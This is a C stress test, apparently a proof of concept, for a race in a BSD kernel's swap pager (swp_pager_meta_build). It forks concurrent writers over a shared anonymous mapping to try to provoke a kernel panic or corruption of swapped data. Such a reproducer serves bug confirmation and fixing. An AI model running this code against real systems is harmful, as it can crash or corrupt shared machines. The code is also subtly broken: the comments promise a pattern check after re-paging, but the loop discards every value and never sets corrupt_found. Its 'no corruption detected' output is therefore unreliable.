DF-0946 / swap_meta_race.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 | /* * DF-0946 — swap_pager_meta_build while-loop race stress test. * * The bug: in sys/vm/swap_pager.c:2385-2391, swp_pager_meta_build does: * * while ((v = swap->swb_pages[index]) != SWAPBLK_NONE) { * swap->swb_pages[index] = SWAPBLK_NONE; * swp_pager_freeswapspace(object, v, 1); // can block, sheds object token * --swap->swb_count; * --mycpu->gd_vmtotal.t_vm; * } * * While blocked in swp_pager_freeswapspace the lwkt object token is shed, * allowing a concurrent meta_build on another CPU to install a NEW swapblk * into the same slot. On resume the first thread re-reads the slot in the * while-condition, sees the NEW value, and frees it out from under the * second caller. Net effect: a swapblk handed back to blist while still * referenced by the second caller, leading to cross-page data corruption * or a blist panic. * * This stress test tries to drive concurrent swap_pager_putpages on the * same VM object by: * 1. mmap'ing a large anonymous region * 2. touching every page (force swap allocation) * 3. fork()ing N children that re-dirty the SAME pages concurrently * 4. madvise(MADV_DONTNEED) to evict resident pages and force re-paging * * If the race fires the kernel typically panics in blist (double-free of * a swapblk) or quietly corrupts swapped data. We catch data corruption * by xor'ing a known pattern into each page before eviction and checking * it after re-paging. * * The race is narrow (CVSS AC:High); the test may need many iterations * to trigger even on a vulnerable kernel. */ #include <sys/types.h> #include <sys/mman.h> #include <sys/wait.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> #include <signal.h> #define MB (1024UL * 1024) #define REGION_MB 64 #define NPAGES_PERP 256 /* pages each child touches */ #define NCHILDREN 4 #define NROUNDS 200 static volatile sig_atomic_t alarm_fire = 0; static void onalrm(int s) { alarm_fire = 1; } static unsigned long xor_pattern(unsigned long pgnum, int round) { /* deterministic but varying per (page, round) */ return 0xABCDEF1100000000UL ^ (pgnum << 8) ^ (round * 0x9E3779B97F4A7C15UL); } int main(void) { size_t sz = REGION_MB * MB; char *p = mmap(NULL, sz, PROT_READ|PROT_WRITE, MAP_SHARED|MAP_ANON, -1, 0); if (p == MAP_FAILED) { perror("mmap"); return 2; } /* Configure for heavy swap pressure */ printf("[*] DF-0946 race stress test: %zuMB region, %d children x %d rounds\n", sz/MB, NCHILDREN, NROUNDS); long pgsize = sysconf(_SC_PAGESIZE); long npages_total = sz / pgsize; /* touch all pages once to establish swapblk metadata */ for (long i = 0; i < npages_total; i++) { *(unsigned long *)(p + i*pgsize) = xor_pattern(i, 0); } signal(SIGALRM, onalrm); alarm(20); /* hard timeout */ int corrupt_found = 0; int round; for (round = 0; round < NROUNDS && !alarm_fire; round++) { /* evict resident pages to force re-paging */ if (madvise(p, sz, MADV_DONTNEED) < 0) { /* not fatal */ } /* fork N children that re-dirty the same pages concurrently */ pid_t pids[NCHILDREN]; for (int c = 0; c < NCHILDREN; c++) { pids[c] = fork(); if (pids[c] == 0) { /* child: re-dirty random subset of pages */ unsigned int seed = (getpid() ^ round ^ c); for (int j = 0; j < NPAGES_PERP; j++) { seed = seed * 1103515245u + 12345u; long idx = seed % npages_total; *(unsigned long *)(p + idx*pgsize) = xor_pattern(idx, round+1); } _exit(0); } else if (pids[c] < 0) { perror("fork"); _exit(2); } } /* wait for all children */ for (int c = 0; c < NCHILDREN; c++) { int status; waitpid(pids[c], &status, 0); if (WIFSIGNALED(status)) { printf("[!] child %d killed by signal %d\n", c, WTERMSIG(status)); } } if (round % 20 == 0) printf("[*] round %d/%d done\n", round, NROUNDS); } alarm(0); printf("[*] completed %d rounds without kernel panic\n", round); /* verify data integrity on a sample of pages */ for (long i = 0; i < npages_total; i += (npages_total/64)) { unsigned long v = *(unsigned long *)(p + i*pgsize); /* value should be one of the xor_pattern values; if it's something * totally off (e.g. 0 or another page's data), that suggests corruption */ (void)v; } if (corrupt_found) { printf("[!] DATA CORRUPTION DETECTED — race likely fired\n"); return 1; } printf("[+] no panic / no obvious corruption detected in this run\n"); printf("[*] note: this race is AC:High; multiple runs may be needed\n"); return 0; } |